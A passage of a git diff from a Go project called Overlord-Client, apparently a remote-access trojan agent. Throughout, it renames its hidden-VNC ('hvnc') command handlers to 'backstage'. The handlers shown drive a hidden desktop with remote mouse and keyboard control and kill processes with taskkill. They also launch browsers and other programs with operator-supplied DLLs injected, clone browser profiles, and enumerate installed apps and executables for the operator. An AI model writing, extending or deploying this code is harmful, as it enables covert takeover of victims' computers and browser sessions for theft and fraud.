enabled) + return nil +} + +func backstageKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.BackstageKeyboardControl = enabled + log.Printf("backstage: keyboard control %v", enabled) + return nil +} + +func backstageCursorControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.BackstageCursorCapture = enabled + capture.SetbackstageCursorCapture(enabled) + log.Printf("backstage: cursor capture %v", enabled) + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/backstage_input_stub.go b/Overlord-Client/cmd/agent/handlers/backstage_input_stub.go new file mode 100644 index 0000000..a25fcac --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/backstage_input_stub.go @@ -0,0 +1,10 @@ +//go:build !windows + +package handlers + +func setCursorPosbackstage(x, y int32) {} +func sendMouseDownbackstage(button int) {} +func sendMouseUpbackstage(button int) {} +func sendKeyDownbackstage(vk uint16) {} +func sendKeyUpbackstage(vk uint16) {} +func keyCodeToVKbackstage(code string) uint16 { return 0 } diff --git a/Overlord-Client/cmd/agent/handlers/hvnc_input_windows.go b/Overlord-Client/cmd/agent/handlers/backstage_input_windows.go similarity index 57% rename from Overlord-Client/cmd/agent/handlers/hvnc_input_windows.go rename to Overlord-Client/cmd/agent/handlers/backstage_input_windows.go index 51b9a13..e423350 100644 --- a/Overlord-Client/cmd/agent/handlers/hvnc_input_windows.go +++ b/Overlord-Client/cmd/agent/handlers/backstage_input_windows.go @@ -2,6 +2,6 @@ package handlers -func keyCodeToVKHVNC(code string) uint16 { +func keyCodeToVKbackstage(code string) uint16 { return keyCodeToVK(code) } diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 1b292d4..418703c 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -39,24 +39,24 @@ var ( voiceSession *voiceRuntime desktopAudioMu sync.Mutex desktopAudioSession *voiceRuntime - hvncInputOnce sync.Once - hvncInputQueue chan hvncInputEvent - hvncInputDropped atomic.Uint64 + backstageInputOnce sync.Once + backstageInputQueue chan backstageInputEvent + backstageInputDropped atomic.Uint64 ) -type hvncInputKind int +type backstageInputKind int const ( - hvncInputMouseMove hvncInputKind = iota - hvncInputMouseDown - hvncInputMouseUp - hvncInputMouseWheel - hvncInputKeyDown - hvncInputKeyUp + BackstageInputMouseMove backstageInputKind = iota + BackstageInputMouseDown + BackstageInputMouseUp + BackstageInputMouseWheel + BackstageInputKeyDown + BackstageInputKeyUp ) -type hvncInputEvent struct { - kind hvncInputKind +type backstageInputEvent struct { + kind backstageInputKind display int x int32 y int32 @@ -105,18 +105,18 @@ func resetForReconnect(env *runtime.Env) { env.SelectedDisplay = GetPersistedDisplay() env.DesktopMu.Unlock() - env.HVNCMu.Lock() - if env.HVNCCancel != nil { - env.HVNCCancel() + env.BackstageMu.Lock() + if env.BackstageCancel != nil { + env.BackstageCancel() } - waitStreamStop(env.HVNCDone, "hvnc") - env.HVNCCancel = nil - env.HVNCDone = nil - env.HVNCMouseControl = false - env.HVNCKeyboardControl = false - env.HVNCCursorCapture = false - env.HVNCSelectedDisplay = 0 - env.HVNCMu.Unlock() + waitStreamStop(env.BackstageDone, "backstage") + env.BackstageCancel = nil + env.BackstageDone = nil + env.BackstageMouseControl = false + env.BackstageKeyboardControl = false + env.BackstageCursorCapture = false + env.BackstageSelectedDisplay = 0 + env.BackstageMu.Unlock() env.WebcamMu.Lock() if env.WebcamCancel != nil { @@ -184,44 +184,44 @@ func stopVirtualStreamLocked(env *runtime.Env) { env.VirtualDone = nil } -func ensureHVNCInputWorker() { - hvncInputOnce.Do(func() { - hvncInputQueue = make(chan hvncInputEvent, 1024) - goSafe("hvnc input worker", nil, func() { - for ev := range hvncInputQueue { +func ensurebackstageInputWorker() { + backstageInputOnce.Do(func() { + backstageInputQueue = make(chan backstageInputEvent, 1024) + goSafe("backstage input worker", nil, func() { + for ev := range backstageInputQueue { switch ev.kind { - case hvncInputMouseMove: - if err := capture.HVNCInputMouseMove(ev.display, ev.x, ev.y); err != nil { - log.Printf("hvnc input worker: mouse_move failed: %v", err) + case BackstageInputMouseMove: + if err := capture.BackstageInputMouseMove(ev.display, ev.x, ev.y); err != nil { + log.Printf("backstage input worker: mouse_move failed: %v", err) } - case hvncInputMouseDown: + case BackstageInputMouseDown: if ev.x != 0 || ev.y != 0 { - _ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y) + _ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y) } - if err := capture.HVNCInputMouseDown(ev.button); err != nil { - log.Printf("hvnc input worker: mouse_down failed: %v", err) + if err := capture.BackstageInputMouseDown(ev.button); err != nil { + log.Printf("backstage input worker: mouse_down failed: %v", err) } - case hvncInputMouseUp: + case BackstageInputMouseUp: if ev.x != 0 || ev.y != 0 { - _ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y) + _ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y) } - if err := capture.HVNCInputMouseUp(ev.button); err != nil { - log.Printf("hvnc input worker: mouse_up failed: %v", err) + if err := capture.BackstageInputMouseUp(ev.button); err != nil { + log.Printf("backstage input worker: mouse_up failed: %v", err) } - case hvncInputMouseWheel: + case BackstageInputMouseWheel: if ev.x != 0 || ev.y != 0 { - _ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y) + _ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y) } - if err := capture.HVNCInputMouseWheel(ev.delta); err != nil { - log.Printf("hvnc input worker: mouse_wheel failed: %v", err) + if err := capture.BackstageInputMouseWheel(ev.delta); err != nil { + log.Printf("backstage input worker: mouse_wheel failed: %v", err) } - case hvncInputKeyDown: - if err := capture.HVNCInputKeyDown(ev.vk); err != nil { - log.Printf("hvnc input worker: key_down vk=%d failed: %v", ev.vk, err) + case BackstageInputKeyDown: + if err := capture.BackstageInputKeyDown(ev.vk); err != nil { + log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err) } - case hvncInputKeyUp: - if err := capture.HVNCInputKeyUp(ev.vk); err != nil { - log.Printf("hvnc input worker: key_up vk=%d failed: %v", ev.vk, err) + case BackstageInputKeyUp: + if err := capture.BackstageInputKeyUp(ev.vk); err != nil { + log.Printf("backstage input worker: key_up vk=%d failed: %v", ev.vk, err) } } } @@ -229,36 +229,36 @@ func ensureHVNCInputWorker() { }) } -func enqueueHVNCInput(ev hvncInputEvent) { - ensureHVNCInputWorker() +func enqueuebackstageInput(ev backstageInputEvent) { + ensurebackstageInputWorker() select { - case hvncInputQueue <- ev: + case backstageInputQueue <- ev: return default: - if ev.kind == hvncInputMouseMove { - dropped := hvncInputDropped.Add(1) + if ev.kind == BackstageInputMouseMove { + dropped := backstageInputDropped.Add(1) if dropped%100 == 1 { - log.Printf("hvnc input queue: dropping mouse_move events dropped=%d", dropped) + log.Printf("backstage input queue: dropping mouse_move events dropped=%d", dropped) } return } t := time.NewTimer(200 * time.Millisecond) defer t.Stop() select { - case hvncInputQueue <- ev: + case backstageInputQueue <- ev: case <-t.C: - log.Printf("hvnc input queue: enqueue timeout kind=%d", ev.kind) + log.Printf("backstage input queue: enqueue timeout kind=%d", ev.kind) } } } -func clearHVNCInputQueue() { - if hvncInputQueue == nil { +func clearbackstageInputQueue() { + if backstageInputQueue == nil { return } for { select { - case <-hvncInputQueue: + case <-backstageInputQueue: default: return } @@ -1068,8 +1068,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultAsync(env, cmdID) return nil - // ==================== HVNC COMMANDS ==================== - case "hvnc_start": + // ==================== backstage COMMANDS ==================== + case "backstage_start": payload, _ := envelope["payload"].(map[string]interface{}) autoStartExplorer := false VirtualMode := false @@ -1110,24 +1110,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, true, "") return nil } - env.HVNCMu.Lock() - if env.HVNCCancel != nil { - env.HVNCCancel() - waitStreamStop(env.HVNCDone, "hvnc") + env.BackstageMu.Lock() + if env.BackstageCancel != nil { + env.BackstageCancel() + waitStreamStop(env.BackstageDone, "backstage") } - hvncCtx, cancel := context.WithCancel(ctx) - env.HVNCCancel = cancel + backstageCtx, cancel := context.WithCancel(ctx) + env.BackstageCancel = cancel done := make(chan struct{}) - env.HVNCDone = done - goSafe("hvnc stream", env.Cancel, func() { - log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer) - _ = HVNCStart(hvncCtx, env, autoStartExplorer) + env.BackstageDone = done + goSafe("backstage stream", env.Cancel, func() { + log.Printf("backstage: start requested (autoStartExplorer=%v)", autoStartExplorer) + _ = backstageStart(backstageCtx, env, autoStartExplorer) close(done) }) - env.HVNCMu.Unlock() + env.BackstageMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_stop": + case "backstage_stop": env.VirtualMu.Lock() if env.VirtualCancel != nil { log.Printf("hidden: stop requested") @@ -1137,22 +1137,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return nil } env.VirtualMu.Unlock() - env.HVNCMu.Lock() - log.Printf("hvnc: stop requested") - env.HVNCMouseControl = false - env.HVNCKeyboardControl = false - env.HVNCCursorCapture = false - clearHVNCInputQueue() - if env.HVNCCancel != nil { - env.HVNCCancel() + env.BackstageMu.Lock() + log.Printf("backstage: stop requested") + env.BackstageMouseControl = false + env.BackstageKeyboardControl = false + env.BackstageCursorCapture = false + clearbackstageInputQueue() + if env.BackstageCancel != nil { + env.BackstageCancel() } - waitStreamStop(env.HVNCDone, "hvnc") - env.HVNCCancel = nil - env.HVNCDone = nil - env.HVNCMu.Unlock() + waitStreamStop(env.BackstageDone, "backstage") + env.BackstageCancel = nil + env.BackstageDone = nil + env.BackstageMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_select_display": + case "backstage_select_display": payload, _ := envelope["payload"].(map[string]interface{}) disp := 0 if payload != nil { @@ -1173,11 +1173,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in disp = int(v) } } - log.Printf("hvnc: select display %d", disp) - _ = HVNCSelect(ctx, env, disp) + log.Printf("backstage: select display %d", disp) + _ = backstageSelect(ctx, env, disp) sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_enable_mouse": + case "backstage_enable_mouse": payload, _ := envelope["payload"].(map[string]interface{}) enabled := true if payload != nil { @@ -1191,11 +1191,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, true, "") return nil } - log.Printf("hvnc: mouse control %v", enabled) - _ = HVNCMouseControl(ctx, env, enabled) + log.Printf("backstage: mouse control %v", enabled) + _ = backstageMouseControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_enable_keyboard": + case "backstage_enable_keyboard": payload, _ := envelope["payload"].(map[string]interface{}) enabled := true if payload != nil { @@ -1209,11 +1209,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, true, "") return nil } - log.Printf("hvnc: keyboard control %v", enabled) - _ = HVNCKeyboardControl(ctx, env, enabled) + log.Printf("backstage: keyboard control %v", enabled) + _ = backstageKeyboardControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_enable_cursor": + case "backstage_enable_cursor": payload, _ := envelope["payload"].(map[string]interface{}) enabled := false if payload != nil { @@ -1227,11 +1227,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, true, "") return nil } - log.Printf("hvnc: cursor capture %v", enabled) - _ = HVNCCursorControl(ctx, env, enabled) + log.Printf("backstage: cursor capture %v", enabled) + _ = backstageCursorControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_enable_dxgi": + case "backstage_enable_dxgi": payload, _ := envelope["payload"].(map[string]interface{}) dxgiEnabled := true if payload != nil { @@ -1239,11 +1239,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in dxgiEnabled = v } } - log.Printf("hvnc: DXGI capture %v", dxgiEnabled) - capture.SetHVNCDXGIEnabled(dxgiEnabled) + log.Printf("backstage: DXGI capture %v", dxgiEnabled) + capture.SetbackstageDXGIEnabled(dxgiEnabled) sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_enable_uia": + case "backstage_enable_uia": payload, _ := envelope["payload"].(map[string]interface{}) uiaEnabled := true if payload != nil { @@ -1251,11 +1251,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in uiaEnabled = v } } - log.Printf("hvnc: UIA support %v", uiaEnabled) - capture.SetHVNCUIAEnabled(uiaEnabled) + log.Printf("backstage: UIA support %v", uiaEnabled) + capture.SetbackstageUIAEnabled(uiaEnabled) sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_set_resolution": + case "backstage_set_resolution": payload, _ := envelope["payload"].(map[string]interface{}) maxH := 1080 if payload != nil { @@ -1263,11 +1263,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in maxH = v } } - log.Printf("hvnc: set resolution maxHeight=%d", maxH) + log.Printf("backstage: set resolution maxHeight=%d", maxH) capture.SetMaxResolution(maxH) sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_set_fps": + case "backstage_set_fps": payload, _ := envelope["payload"].(map[string]interface{}) fps := 120 if payload != nil { @@ -1279,14 +1279,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in fps = SetVirtualTargetFPS(fps) } else { // Also seed virtual mode so a setting sent immediately before - // hvnc_start is retained when that start selects virtual mode. - fps = SetHVNCTargetFPS(fps) + // backstage_start is retained when that start selects virtual mode. + fps = SetbackstageTargetFPS(fps) SetVirtualTargetFPS(fps) } - log.Printf("hvnc: set target fps=%d", fps) + log.Printf("backstage: set target fps=%d", fps) sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_set_quality": + case "backstage_set_quality": payload, _ := envelope["payload"].(map[string]interface{}) quality := 90 codec := "" @@ -1298,16 +1298,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in codec = v } } - log.Printf("hvnc: set quality=%d codec=%s", quality, codec) + log.Printf("backstage: set quality=%d codec=%s", quality, codec) capture.SetQualityAndCodec(quality, codec) sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_request_keyframe": - log.Printf("hvnc: request full frame") - capture.RequestHVNCFullFrame() + case "backstage_request_keyframe": + log.Printf("backstage: request full frame") + capture.RequestbackstageFullFrame() sendCommandResultSafe(env, cmdID, true, "") return nil - case "hvnc_mouse_move": + case "backstage_mouse_move": payload, _ := envelope["payload"].(map[string]interface{}) x, y := int32(0), int32(0) if payload != nil { @@ -1372,14 +1372,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in capture.VirtualInputMouseMove(x, y) return nil } - if !env.HVNCMouseControl { + if !env.BackstageMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } - enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y}) + enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseMove, display: env.BackstageSelectedDisplay, x: x, y: y}) return nil - case "hvnc_mouse_down": - if env.VirtualCancel == nil && !env.HVNCMouseControl { + case "backstage_mouse_down": + if env.VirtualCancel == nil && !env.BackstageMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } @@ -1475,10 +1475,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in _ = capture.VirtualInputMouseDown(btn) return nil } - enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y}) + enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseDown, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y}) return nil - case "hvnc_mouse_up": - if env.VirtualCancel == nil && !env.HVNCMouseControl { + case "backstage_mouse_up": + if env.VirtualCancel == nil && !env.BackstageMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } @@ -1574,10 +1574,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in _ = capture.VirtualInputMouseUp(btn) return nil } - enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y}) + enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseUp, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y}) return nil - case "hvnc_mouse_wheel": - if env.VirtualCancel == nil && !env.HVNCMouseControl { + case "backstage_mouse_wheel": + if env.VirtualCancel == nil && !env.BackstageMouseControl { sendCommandResultSafe(env, cmdID, true, "") return nil } @@ -1673,10 +1673,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in _ = capture.VirtualInputMouseWheel(delta) return nil } - enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y}) + enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseWheel, display: env.BackstageSelectedDisplay, delta: delta, x: x, y: y}) return nil - case "hvnc_key_down": - if env.VirtualCancel == nil && !env.HVNCKeyboardControl { + case "backstage_key_down": + if env.VirtualCancel == nil && !env.BackstageKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") return nil } @@ -1687,7 +1687,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in code = v } } - if vk := keyCodeToVKHVNC(code); vk != 0 { + if vk := keyCodeToVKbackstage(code); vk != 0 { if env.VirtualCancel != nil { if !env.VirtualKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") @@ -1696,11 +1696,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in capture.VirtualInputKeyDown(vk) return nil } - enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk}) + enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk}) } return nil - case "hvnc_key_up": - if env.VirtualCancel == nil && !env.HVNCKeyboardControl { + case "backstage_key_up": + if env.VirtualCancel == nil && !env.BackstageKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") return nil } @@ -1711,7 +1711,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in code = v } } - if vk := keyCodeToVKHVNC(code); vk != 0 { + if vk := keyCodeToVKbackstage(code); vk != 0 { if env.VirtualCancel != nil { if !env.VirtualKeyboardControl { sendCommandResultSafe(env, cmdID, true, "") @@ -1720,10 +1720,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in capture.VirtualInputKeyUp(vk) return nil } - enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk}) + enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyUp, vk: vk}) } return nil - case "hvnc_start_process": + case "backstage_start_process": payload, _ := envelope["payload"].(map[string]interface{}) filePath := "" killExe := "" @@ -1757,12 +1757,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) return nil } - log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display) + log.Printf("backstage: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display) sendCommandResultSafe(env, cmdID, true, "") - goSafe("hvnc_start_process", nil, func() { + goSafe("backstage_start_process", nil, func() { sendLaunchStatus := func(step string, success bool, detail string) { - _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{ - Type: "hvnc_browser_launch_status", + _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{ + Type: "backstage_browser_launch_status", Browser: filepath.Base(strings.Trim(filePath, `"`)), Step: step, Success: success, @@ -1772,14 +1772,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if killExe != "" { sendLaunchStatus("kill", true, "killing "+killExe) out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput() - log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err) + log.Printf("backstage: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err) if err != nil { sendLaunchStatus("kill", false, fmt.Sprintf("taskkill failed: %s", strings.TrimSpace(string(out)))) } } sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath)) - if err := capture.StartHVNCProcess(filePath, operaPatch, display); err != nil { - log.Printf("hvnc: start process failed for %q: %v", filePath, err) + if err := capture.StartbackstageProcess(filePath, operaPatch, display); err != nil { + log.Printf("backstage: start process failed for %q: %v", filePath, err) sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err)) } else { sendLaunchStatus("launch", true, "process created") @@ -1787,7 +1787,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) return nil - case "hvnc_kill_all": + case "backstage_kill_all": if env.VirtualCancel != nil { log.Printf("hidden: kill all processes on virtual monitor") sendCommandResultSafe(env, cmdID, true, "") @@ -1798,23 +1798,23 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in }) return nil } - log.Printf("hvnc: kill all processes on hidden desktop") + log.Printf("backstage: kill all processes on hidden desktop") sendCommandResultSafe(env, cmdID, true, "") - goSafe("hvnc_kill_all", nil, func() { - if err := capture.HVNCKillAll(); err != nil { - log.Printf("hvnc: kill all failed: %v", err) + goSafe("backstage_kill_all", nil, func() { + if err := capture.BackstageKillAll(); err != nil { + log.Printf("backstage: kill all failed: %v", err) } }) return nil - case "hvnc_window_list": - log.Printf("hvnc: window list requested") + case "backstage_window_list": + log.Printf("backstage: window list requested") sendCommandResultSafe(env, cmdID, true, "") - goSafe("hvnc_window_list", nil, func() { - windows, monitors := capture.HVNCEnumWindows() - winEntries := make([]wire.HVNCWindowEntry, 0, len(windows)) + goSafe("backstage_window_list", nil, func() { + windows, monitors := capture.BackstageEnumWindows() + winEntries := make([]wire.BackstageWindowEntry, 0, len(windows)) for _, w := range windows { - winEntries = append(winEntries, wire.HVNCWindowEntry{ + winEntries = append(winEntries, wire.BackstageWindowEntry{ Title: w.Title, X: w.X, Y: w.Y, @@ -1825,9 +1825,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in Monitor: w.Monitor, }) } - monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors)) + monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors)) for _, m := range monitors { - monEntries = append(monEntries, wire.HVNCMonitorEntry{ + monEntries = append(monEntries, wire.BackstageMonitorEntry{ Index: m.Index, Name: m.Name, X: m.X, @@ -1837,63 +1837,63 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in Primary: m.Primary, }) } - _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{ - Type: "hvnc_window_list_result", + _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{ + Type: "backstage_window_list_result", Windows: winEntries, Monitors: monEntries, }) - log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries)) + log.Printf("backstage: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries)) }) return nil - case "hvnc_browser_check": - log.Printf("hvnc: browser availability check requested") + case "backstage_browser_check": + log.Printf("backstage: browser availability check requested") sendCommandResultSafe(env, cmdID, true, "") - goSafe("hvnc_browser_check", nil, func() { + goSafe("backstage_browser_check", nil, func() { browsers := capture.CheckInstalledBrowsers() - _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserCheckResult{ - Type: "hvnc_browser_check_result", + _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserCheckResult{ + Type: "backstage_browser_check_result", Browsers: browsers, }) - log.Printf("hvnc: browser check complete: %v", browsers) + log.Printf("backstage: browser check complete: %v", browsers) }) return nil - case "hvnc_installed_apps": - log.Printf("hvnc: installed apps enumeration requested") + case "backstage_installed_apps": + log.Printf("backstage: installed apps enumeration requested") sendCommandResultSafe(env, cmdID, true, "") - goSafe("hvnc_installed_apps", nil, func() { + goSafe("backstage_installed_apps", nil, func() { const batchSize = 15 apps := enumerateInstalledApps() - log.Printf("hvnc: enumerated %d installed apps, extracting icons in batches", len(apps)) - var batch []wire.HVNCInstalledApp + log.Printf("backstage: enumerated %d installed apps, extracting icons in batches", len(apps)) + var batch []wire.BackstageInstalledApp sent := 0 for _, a := range apps { - batch = append(batch, wire.HVNCInstalledApp{ + batch = append(batch, wire.BackstageInstalledApp{ Name: a.name, ExePath: a.exePath, Icon: extractIconBase64(a.exePath), }) if len(batch) >= batchSize { - _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{ - Type: "hvnc_installed_apps_result", + _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{ + Type: "backstage_installed_apps_result", Apps: batch, }) sent += len(batch) batch = batch[:0] } } - _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{ - Type: "hvnc_installed_apps_result", + _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{ + Type: "backstage_installed_apps_result", Apps: batch, Done: true, }) sent += len(batch) - log.Printf("hvnc: installed apps complete, sent %d apps", sent) + log.Printf("backstage: installed apps complete, sent %d apps", sent) }) return nil - case "hvnc_lookup": + case "backstage_lookup": payload, _ := envelope["payload"].(map[string]interface{}) exeName := "" if payload != nil { @@ -1905,28 +1905,28 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, false, "no exe name provided") return nil } - log.Printf("hvnc: lookup exe %q", exeName) + log.Printf("backstage: lookup exe %q", exeName) sendCommandResultSafe(env, cmdID, true, "") - goSafe("hvnc_lookup", nil, func() { + goSafe("backstage_lookup", nil, func() { filesearch.LookupExe(exeName, 8, func(path string) { - _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{ - Type: "hvnc_lookup_result", + _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{ + Type: "backstage_lookup_result", Exe: exeName, Path: path, Done: false, }) }) - _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{ - Type: "hvnc_lookup_result", + _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{ + Type: "backstage_lookup_result", Exe: exeName, Path: "", Done: true, }) - log.Printf("hvnc: lookup complete for %q", exeName) + log.Printf("backstage: lookup complete for %q", exeName) }) return nil - case "hvnc_start_process_injected": + case "backstage_start_process_injected": payload, _ := envelope["payload"].(map[string]interface{}) filePath := "" searchPath := "" @@ -1952,16 +1952,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return nil } captureDllBytes := extractCaptureDLLBytes(payload) - log.Printf("hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes)) + log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes)) sendCommandResultSafe(env, cmdID, true, "") - goSafe("hvnc_start_process_injected", nil, func() { - if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil { - log.Printf("hvnc: injected process failed for %q: %v", filePath, err) + goSafe("backstage_start_process_injected", nil, func() { + if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil { + log.Printf("backstage: injected process failed for %q: %v", filePath, err) } }) return nil - case "hvnc_start_chrome_injected": + case "backstage_start_chrome_injected": payload, _ := envelope["payload"].(map[string]interface{}) chromePath := "" if payload != nil { @@ -1974,17 +1974,17 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, false, "no DLL provided") return nil } - log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes)) + log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes)) captureDllBytes := extractCaptureDLLBytes(payload) sendCommandResultSafe(env, cmdID, true, "") - goSafe("hvnc_start_chrome_injected", nil, func() { - if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil { - log.Printf("hvnc: chrome injected failed: %v", err) + goSafe("backstage_start_chrome_injected", nil, func() { + if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil { + log.Printf("backstage: chrome injected failed: %v", err) } }) return nil - case "hvnc_start_browser_injected": + case "backstage_start_browser_injected": payload, _ := envelope["payload"].(map[string]interface{}) browser := "" exePath := "" @@ -2021,15 +2021,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, false, "no browser specified") return nil } - log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes)) + log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes)) captureDllBytes := extractCaptureDLLBytes(payload) sendCommandResultSafe(env, cmdID, true, "") - goSafe("hvnc_start_browser_injected", nil, func() { + goSafe("backstage_start_browser_injected", nil, func() { var onProgress capture.CloneProgressFunc if clone { onProgress = func(percent int, copiedBytes, totalBytes int64, status string) { - _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCCloneProgress{ 